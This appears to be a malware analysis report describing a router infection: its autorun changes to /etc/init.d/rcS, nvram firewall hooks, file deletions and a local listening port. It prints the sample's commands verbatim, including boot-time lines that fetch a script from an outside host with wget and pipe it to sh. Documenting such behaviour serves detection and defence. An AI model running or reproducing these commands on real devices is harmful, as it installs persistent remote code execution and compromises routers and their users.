Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/rcS.bak
- /etc/init.d/rcS
Malicious functions:
Launches itself as a daemon
Modifies router settings:
- /bin/nvram
Launches processes:
- sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
- cat /etc/init.d/rcS
- grep -v wget
- sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
- sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
- cat /etc/init.d/rcS.bak
- sh -c rm -rf /etc/init.d/rcS.bak
- rm -rf /etc/init.d/rcS.bak
- sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
- sh -c nvram commit > /dev/null 2>&1
- sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
- sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
- rm -rf /var/run/wgsh
Performs operations with the file system:
Deletes files:
- /etc/init.d/rcS.bak
- /var/run/wgsh
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:63008
Other:
Collects OS information
